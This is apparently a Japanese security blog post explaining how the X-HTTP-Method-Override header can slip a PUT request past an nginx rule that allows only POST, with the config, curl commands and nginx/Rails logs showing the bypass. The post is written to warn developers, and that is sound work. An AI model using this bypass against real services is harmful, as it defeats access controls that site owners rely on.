March 31, 2020

Method Overwrite をリバースプロキシ環境下で悪用する

X-HTTP-Method-Override ヘッダは知っている人も多いと思います。
いわゆる Method Override と呼ばれるもので POST で他のメソッドを代替するときなどに使用されます。

例えば次のようなリクエストを送ると POST ではなく PUT として処理されます。

POST /posts HTTP/1.1
Host: example.com
X-HTTP-Method-Override: PUT

param=hoge

他にもウェブアプリケーションフレームワークでは _method パラメータによって同等のことが可能です。
(フレームワークによっては Method Override をサポートしていないものもあります(flask など薄いフレームワークはデフォルトで対応していない印象))。 これは _method の値を別のものに置き換えることで、例えば CSRF やその他検証のバイパスをしたりすることがあるのは有名ですが、今回はちょっと別のケースについて書いておきます。

前段にリバースプロキシや別のアプリケーションがある場合

アプリケーション単体ではなく、インフラの構成として前段にリバースプロキシや別のアプリケーションがあるケースを考えてみます。

[client] --- [nginx] --- [app]

[client] --- [app] --- [app] (前段の app でフィルタ的な役割を行ったりする)

例えばリバースプロキシである nginx で、次のように特定のパスへのリクエストは基本的に禁止するが、POST だけ許可したいケースがあるとします。

  set $go "false";

  location /posts {
    if ($request_method ~ ^(POST)$) {
      set $go "true";
    }

    if ($go = "false") {
      return 403;
    }

    proxy_pass http://app:3000/posts;
  }

この場合、次のようなリクエストを送ることで、この制限をバイパスできます。

❯ curl http://localhost:60080/posts -X PUT
<html>
<head><title>403 Forbidden</title></head>
...

❯ curl http://localhost:60080/posts -X POST -H 'X-HTTP-Method-Override: PUT'
<html lang="en">
<head>
  <meta charset="utf-8" />
  <title>Action Controller: Exception caught</title>
  ...

# nginx と Rails のログ
# nginx では POST メソッドだが、アプリケーション側では PUT メソッドとして扱う
nginx_1  | 192.168.48.1 - - [31/Mar/2020:14:42:41 +0000] "POST /posts HTTP/1.1" 404 22671 "-" "curl/7.54.0"
app_1    | Started PUT "/posts" for 192.168.48.3 at 2020-03-31 14:43:02 +0000
app_1    | Cannot render console from 192.168.48.3! Allowed networks: 127.0.0.1, ::1, 127.0.0.0/127.255.255.255
app_1    |
app_1    | ActionController::RoutingError (No route matches [PUT] "/posts"):

このようにフロントエンド側とバックエンド側で解釈が異なると、制限のバイパスが可能であったりします。
Method Override はアプリケーション側の処理なので、リバースプロキシでそれに対応するべきかは賛否が分かれると思いますが、このようなことも想定して制限をしなければいけません。

また、 GitLab のように前段に別のアプリケーションによってフィルタ的な役割をしている場合も要注意となります。
少し陥りやすい罠だと思ったのでメモでした。


このエントリーをはてなブックマークに追加

© Kohei Morita 2020